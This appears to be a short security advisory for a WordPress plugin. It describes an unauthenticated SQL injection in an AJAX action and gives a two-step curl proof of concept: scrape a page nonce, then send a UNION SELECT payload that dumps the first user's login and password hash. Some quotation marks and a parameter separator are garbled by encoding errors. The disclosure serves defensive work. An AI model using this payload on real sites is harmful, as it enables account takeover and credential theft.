The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
1. Visit a blog post and extract the nonce from the source (search for βfeelboxAjaxβ, and extract the βtokenβ) curl -s βhttp://127.0.0.1:7777/?p=1β | grep βtokenβ 2. Invoke the following curl command, with the just obtained nonce (token), to disclose the first userβs username and password hash: curl βhttp://127.0.0.1:7777/wp-admin/admin-ajax.php?action=populate_postβ \ --data βtoken=&postID;=1 UNION ALL SELECT 1,1,CONCAT((SELECT user_login FROM wp_users),CHR(0x3a),(SELECT user_pass FROM wp_users)),1,1,1,1-- -β